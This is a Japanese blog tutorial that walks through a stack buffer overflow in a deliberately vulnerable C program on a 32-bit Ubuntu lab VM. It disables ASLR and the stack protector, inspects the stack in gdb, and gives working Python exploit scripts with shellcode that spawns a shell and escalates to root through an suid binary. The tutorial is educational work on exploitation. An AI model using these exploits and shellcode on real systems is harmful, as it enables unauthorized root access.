単純なスタックバッファオーバーフロー攻撃をやってみる

一つ前のエントリで作ったシェルコードを使って、スタックバッファオーバーフローを利用したシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを書いてみる

まずはスタックバッファオーバーフローが起こる単純なプログラムを書いてみる。

/* bof.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[100] = {};  /* set all bytes to zero */
    printf("buf = %p\n", buf);
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}

このプログラムは、第一引数に指定した文字列をスタック上に確保したバッファにコピーし出力するが、読み込みサイズをチェックしないstrcpyを利用しているためスタックバッファオーバーフロー脆弱性がある。 あとで利用するために、ここではバッファが置かれているアドレスも出力するようにした。

コンパイルして動かしてみると、次のようになる。

$ gcc bof.c
$ ./a.out AAAA
buf = 0xbfc7ed68
AAAA
$ ./a.out $(python -c "print 'A'*200")
buf = 0xbfb3f5d8
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./a.out terminated
Segmentation fault (core dumped)

バッファサイズの100を越える長さの文字列を送ると、プログラムが落ちている。

ASLRを無効化する

プログラムを何度も実行すると、bufが置かれているアドレスが毎回変わっていることがわかる。 これは、Address space layout randomization (ASLR) と呼ばれるセキュリティ機構により、スタックやヒープとして確保されるアドレス領域が毎回ランダムに変わるようになっているためである。

今回は単純な攻撃を行うため、ASLRを一時的に無効化する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

ふたたびプログラムを実行すると、bufが置かれるアドレスが毎回同じになっていることがわかる。

$ ./a.out AAAA
buf = 0xbffff708
AAAA
$ ./a.out AAAA
buf = 0xbffff708
AAAA

gdbでスタックの状態を調べてみる

デバッガを使い、実行時にスタック領域にどのようなデータが入っているかを調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048494 <+0>:     push   ebp
   0x08048495 <+1>:     mov    ebp,esp
   0x08048497 <+3>:     push   edi
   0x08048498 <+4>:     push   ebx
   0x08048499 <+5>:     and    esp,0xfffffff0
   0x0804849c <+8>:     sub    esp,0x90
   0x080484a2 <+14>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484a5 <+17>:    mov    DWORD PTR [esp+0x1c],eax
   0x080484a9 <+21>:    mov    eax,gs:0x14
   0x080484af <+27>:    mov    DWORD PTR [esp+0x8c],eax
   0x080484b6 <+34>:    xor    eax,eax
   0x080484b8 <+36>:    lea    ebx,[esp+0x28]
   0x080484bc <+40>:    mov    eax,0x0
   0x080484c1 <+45>:    mov    edx,0x19
   0x080484c6 <+50>:    mov    edi,ebx
   0x080484c8 <+52>:    mov    ecx,edx
   0x080484ca <+54>:    rep stos DWORD PTR es:[edi],eax
   0x080484cc <+56>:    mov    eax,0x8048600
   0x080484d1 <+61>:    lea    edx,[esp+0x28]
   0x080484d5 <+65>:    mov    DWORD PTR [esp+0x4],edx
   0x080484d9 <+69>:    mov    DWORD PTR [esp],eax
   0x080484dc <+72>:    call   0x8048380 <printf@plt>
   0x080484e1 <+77>:    mov    eax,DWORD PTR [esp+0x1c]
   0x080484e5 <+81>:    add    eax,0x4
   0x080484e8 <+84>:    mov    eax,DWORD PTR [eax]
   0x080484ea <+86>:    mov    DWORD PTR [esp+0x4],eax
   0x080484ee <+90>:    lea    eax,[esp+0x28]
   0x080484f2 <+94>:    mov    DWORD PTR [esp],eax
   0x080484f5 <+97>:    call   0x80483a0 <strcpy@plt>
   0x080484fa <+102>:   lea    eax,[esp+0x28]
   0x080484fe <+106>:   mov    DWORD PTR [esp],eax
   0x08048501 <+109>:   call   0x80483b0 <puts@plt>
   0x08048506 <+114>:   mov    eax,0x0
   0x0804850b <+119>:   mov    edx,DWORD PTR [esp+0x8c]
   0x08048512 <+126>:   xor    edx,DWORD PTR gs:0x14
   0x08048519 <+133>:   je     0x8048520 <main+140>
   0x0804851b <+135>:   call   0x8048390 <__stack_chk_fail@plt>
   0x08048520 <+140>:   lea    esp,[ebp-0x8]
   0x08048523 <+143>:   pop    ebx
   0x08048524 <+144>:   pop    edi
   0x08048525 <+145>:   pop    ebp
   0x08048526 <+146>:   ret
End of assembler dump.
(gdb) b *0x08048520
Breakpoint 1 at 0x8048520
(gdb) run AAAA
Starting program: /home/user/tmp/a.out AAAA
buf = 0xbffff6e8
AAAA

Breakpoint 1, 0x08048520 in main ()
(gdb) i r esp ebp
esp            0xbffff6c0       0xbffff6c0
ebp            0xbffff758       0xbffff758
(gdb) x/60wx $esp
0xbffff6c0:     0xbffff6e8      0xbffff925      0x00000001      0xb7ec3b19
0xbffff6d0:     0xbffff70f      0xbffff70e      0x00000000      0xbffff7f4
0xbffff6e0:     0xbffff794      0x00000000      0x41414141      0x00000000
0xbffff6f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff700:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff710:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff720:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff730:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff740:     0x00000000      0x00000000      0x00000000      0xce469500
0xbffff750:     0xb7fd0ff4      0x00000000      0x00000000      0xb7e444d3
0xbffff760:     0x00000002      0xbffff7f4      0xbffff800      0xb7fdc858
0xbffff770:     0x00000000      0xbffff71c      0xbffff800      0x00000000
0xbffff780:     0x0804824c      0xb7fd0ff4      0x00000000      0x00000000
0xbffff790:     0x00000000      0xb305813d      0x8462652d      0x00000000
0xbffff7a0:     0x00000000      0x00000000      0x00000002      0x080483e0
(gdb) x/2s *0xbffff7f4
0xbffff910:      "/home/user/tmp/a.out"
0xbffff925:      "AAAA"
(gdb) x/4s *0xbffff800
0xbffff92a:      "SHELL=/bin/bash"
0xbffff93a:      "TERM=xterm-256color"
0xbffff94e:      "SSH_CLIENT=192.168.56.1 56046 22"
0xbffff96f:      "SSH_TTY=/dev/pts/0"
(gdb) nexti
0x08048523 in main ()
(gdb)
0x08048524 in main ()
(gdb)
0x08048525 in main ()
(gdb)
0x08048526 in main ()
(gdb)
0xb7e444d3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
(gdb) cont
Continuing.
[Inferior 1 (process 1635) exited normally]
(gdb) quit

ここでは、puts関数を呼び出した後のスタックの状態を表示している。 AAAA はバイト列として表すと 41 41 41 41 であり、main関数が終了した後は処理が0xb7e444d3に移っていることがわかる。 これをもとにスタックの状態を整理すると、下のようになる。

0xbffff6c0:
      0xbffff6e8 <- esp
      0xbffff925
      0x00000001
      0xb7ec3b19
      0xbffff70f
      0xbffff70e
      0x00000000
      0xbffff7f4
      0xbffff794
      0x00000000
0xbffff6e8:
      0x41414141 <- buf
      0x00000000
      ...
      0x00000000
0xbffff74c:
      0xce469500 (canary)
      0xb7fd0ff4
      0x00000000
0xbffff758:
      0x00000000 (saved ebp) <- ebp
      0xb7e444d3 (return address)
      0x00000002 (argc)
      0xbffff7f4 (*argv[])
      0xbffff800 (*envp[])
      0xb7fdc858

SSPを無効にする

スタック上にあるcanaryと呼ばれる値は、実行するたびに値が変わる。 これは、stack-smashing protection (SSP) と呼ばれるセキュリティ機構によって追加されるデータである。 SSPは元となった実装の名前からStackGuardやProPoliceとも呼ばれることがある。

SSPは、関数の最初と最後にcanaryのセットおよび値が書き変わっていないかのチェックを行うコードを追加する。

Dump of assembler code for function main:
   0x080484a9 <+21>:    mov    eax,gs:0x14
   0x080484af <+27>:    mov    DWORD PTR [esp+0x8c],eax
   ...
   0x0804850b <+119>:   mov    edx,DWORD PTR [esp+0x8c]
   0x08048512 <+126>:   xor    edx,DWORD PTR gs:0x14
   0x08048519 <+133>:   je     0x8048520 <main+140>
   0x0804851b <+135>:   call   0x8048390 <__stack_chk_fail@plt>

これにより、スタックバッファオーバーフローによりスタック上のcanaryの値が書き換えられたとき、エラーを吐いて終了するようになっている。

$ ./a.out $(python -c "print 'A'*100")
buf = 0xbffff6a8
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./a.out $(python -c "print 'A'*101")
buf = 0xbffff6a8
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./a.out terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f2feb5]
/lib/i386-linux-gnu/libc.so.6(+0x104e6a)[0xb7f2fe6a]
./a.out[0x8048520]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb7e444d3]
./a.out[0x8048401]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 1966171    /home/user/tmp/a.out
08049000-0804a000 r--p 00000000 08:01 1966171    /home/user/tmp/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966171    /home/user/tmp/a.out
0804b000-0806c000 rw-p 00000000 00:00 0          [heap]
b7e06000-b7e22000 r-xp 00000000 08:01 786476     /lib/i386-linux-gnu/libgcc_s.so.1
b7e22000-b7e23000 r--p 0001b000 08:01 786476     /lib/i386-linux-gnu/libgcc_s.so.1
b7e23000-b7e24000 rw-p 0001c000 08:01 786476     /lib/i386-linux-gnu/libgcc_s.so.1
b7e2a000-b7e2b000 rw-p 00000000 00:00 0
b7e2b000-b7fcf000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fcf000-b7fd1000 r--p 001a4000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd1000-b7fd2000 rw-p 001a6000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd2000-b7fd5000 rw-p 00000000 00:00 0
b7fd9000-b7fdd000 rw-p 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
Aborted (core dumped)

ASLR同様、ここではSSPも無効化する。 無効化するには、gccコンパイルする際に-fno-stack-protectorオプションを追加すればよい。

$ gcc -fno-stack-protector bof.c
$ ./a.out $(python -c "print 'A'*101")
buf = 0xbffff6ac
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

SSPによる強制終了が起こらなくなっていることがわかる。 gdbでディスアセンブルされたコードやスタックの状態を見ると、canaryに関するコードがなくなっていることが確認できる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048444 <+0>:     push   ebp
   0x08048445 <+1>:     mov    ebp,esp
   0x08048447 <+3>:     push   edi
   0x08048448 <+4>:     push   ebx
   0x08048449 <+5>:     and    esp,0xfffffff0
   0x0804844c <+8>:     add    esp,0xffffff80
   0x0804844f <+11>:    lea    ebx,[esp+0x1c]
   0x08048453 <+15>:    mov    eax,0x0
   0x08048458 <+20>:    mov    edx,0x19
   0x0804845d <+25>:    mov    edi,ebx
   0x0804845f <+27>:    mov    ecx,edx
   0x08048461 <+29>:    rep stos DWORD PTR es:[edi],eax
   0x08048463 <+31>:    mov    eax,0x8048580
   0x08048468 <+36>:    lea    edx,[esp+0x1c]
   0x0804846c <+40>:    mov    DWORD PTR [esp+0x4],edx
   0x08048470 <+44>:    mov    DWORD PTR [esp],eax
   0x08048473 <+47>:    call   0x8048340 <printf@plt>
   0x08048478 <+52>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804847b <+55>:    add    eax,0x4
   0x0804847e <+58>:    mov    eax,DWORD PTR [eax]
   0x08048480 <+60>:    mov    DWORD PTR [esp+0x4],eax
   0x08048484 <+64>:    lea    eax,[esp+0x1c]
   0x08048488 <+68>:    mov    DWORD PTR [esp],eax
   0x0804848b <+71>:    call   0x8048350 <strcpy@plt>
   0x08048490 <+76>:    lea    eax,[esp+0x1c]
   0x08048494 <+80>:    mov    DWORD PTR [esp],eax
   0x08048497 <+83>:    call   0x8048360 <puts@plt>
   0x0804849c <+88>:    mov    eax,0x0
   0x080484a1 <+93>:    lea    esp,[ebp-0x8]
   0x080484a4 <+96>:    pop    ebx
   0x080484a5 <+97>:    pop    edi
   0x080484a6 <+98>:    pop    ebp
   0x080484a7 <+99>:    ret
End of assembler dump.
(gdb) b *0x080484a1
Breakpoint 1 at 0x80484a1
(gdb) run AAAA
Starting program: /home/user/tmp/a.out AAAA
buf = 0xbffff6ec
AAAA

Breakpoint 1, 0x080484a1 in main ()
(gdb) x/60wx $esp
0xbffff6d0:     0xbffff6ec      0xbffff925      0x00000000      0xb7ff3fec
0xbffff6e0:     0xbffff794      0x00000000      0x00000000      0x41414141
0xbffff6f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff700:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff710:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff720:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff730:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff740:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff750:     0xb7fd0ff4      0x00000000      0x00000000      0xb7e444d3
0xbffff760:     0x00000002      0xbffff7f4      0xbffff800      0xb7fdc858
0xbffff770:     0x00000000      0xbffff71c      0xbffff800      0x00000000
0xbffff780:     0x0804823c      0xb7fd0ff4      0x00000000      0x00000000
0xbffff790:     0x00000000      0x62d7f5b1      0x55b011a1      0x00000000
0xbffff7a0:     0x00000000      0x00000000      0x00000002      0x08048390
0xbffff7b0:     0x00000000      0xb7ff26b0      0xb7e443e9      0xb7ffeff4
(gdb) cont
Continuing.
[Inferior 1 (process 1672) exited normally]
(gdb) quit

エクスプロイトコードを作る

ここまでの結果から、スタックバッファオーバーフローでシェルを起動するには次のようなデータを送り込めばよいことがわかる。

  • データ中にシェルコードを含める
  • バッファ長の4ワード先にシェルコードの先頭のアドレスを入れておく

Pythonでコードを書くと、次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)

buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)

p = Popen(['./a.out', buf])
p.wait()

このコードは第一引数にバッファ長、第二引数にバッファの先頭アドレスを取り、計算されたデータをa.outの第一引数にセットして起動する。 struct.pack('<I', addr) は、addrを32bit符号なし整数とし、リトルエンディアンで表したときのバイト列を返す。

このコードを実行しても、このままではうまくいかない。

$ python exploit.py 100 0xcccccccc
buf = 0xbffff68c
(snip)
$ python exploit.py 100 0xbffff68c
buf = 0xbffff68c
(snip)

一つ前のエントリで説明したように、DEPを無効にしてコンパイルして実行してみる。

$ gcc -fno-stack-protector -z execstack bof.c
$ python exploit.py 100 0xbffff68c
buf = 0xbffff68c
(snip)
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

今度は、うまくシェルが立ち上がっていることを確認できた。

suidビットを利用した権限昇格を試してみる

もしバッファオーバーフロー脆弱性のある実行ファイルにsuidビットが付与されている場合、ファイル所有者の権限(一般にはroot)でシェルを起動できる。

コンパイルしたa.outの所有ユーザをrootとし、suidビットを付与してみる。

$ ls -al a.out
-rwxr-xr-x 1 user user 7233 Mar 14 13:52 a.out*
$ sudo chown root a.out
$ sudo chmod u+s a.out
$ ls -al a.out
-rwsr-xr-x 1 root user 7233 Mar 14 13:52 a.out*

これで、a.outは実行時rootユーザ権限で動作するようになる。

エクスプロイトコードを実行してみる。

$ python exploit.py 100 0xbffff6dc
buf = 0xbffff6dc
(snip)
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),1000(user)
# cat /etc/passwd
(snip)

実効ユーザ(euid)がrootになっており、rootユーザとして/etc/passwdが読めることが確認できる。

シェルコード中でsetuid(2)を呼ぶことで、実効ユーザだけでなく実ユーザ(uid)もrootとすることもできる。 具体的には次のようなアセンブリコードを書けばよい。

        /* setuid.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* setuid(0) */
        xor ebx, ebx
        lea eax, [ebx+23]
        int 0x80
        /* execve("/bin//sh", ["/bin//sh", NULL], NULL) */
        xor edx, edx
        push edx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push edx
        push ebx
        mov ecx, esp
        lea eax, [edx+11]
        int 0x80

アセンブルして、機械語列を確認する。

$ gcc -nostdlib setuid.s
$ objdump -M intel -d a.out
08048098 <_start>:
 8048098:       31 db                   xor    ebx,ebx
 804809a:       8d 43 17                lea    eax,[ebx+0x17]
 804809d:       cd 80                   int    0x80
 804809f:       31 d2                   xor    edx,edx
 80480a1:       52                      push   edx
 80480a2:       68 2f 2f 73 68          push   0x68732f2f
 80480a7:       68 2f 62 69 6e          push   0x6e69622f
 80480ac:       89 e3                   mov    ebx,esp
 80480ae:       52                      push   edx
 80480af:       53                      push   ebx
 80480b0:       89 e1                   mov    ecx,esp
 80480b2:       8d 42 0b                lea    eax,[edx+0xb]
 80480b5:       cd 80                   int    0x80

エクスプロイトコード中のシェルコードを置き換える。

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
# exploit2.py
import sys
import struct
from subprocess import Popen

# shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode = "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)

buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)

p = Popen(['./a.out', buf])
p.wait()

suidビットつきの実行ファイルを作り、エクスプロイトコードを実行する。

$ gcc -fno-stack-protector -z execstack bof.c
$ sudo chown root a.out
$ sudo chmod u+s a.out
$ python exploit2.py 100 0xbffff6dc
buf = 0xbffff6dc
(snip)
# id
uid=0(root) gid=1000(user) groups=0(root),1000(user)
#

実ユーザ(uid)がrootになっていることが確認できる。

関連リンク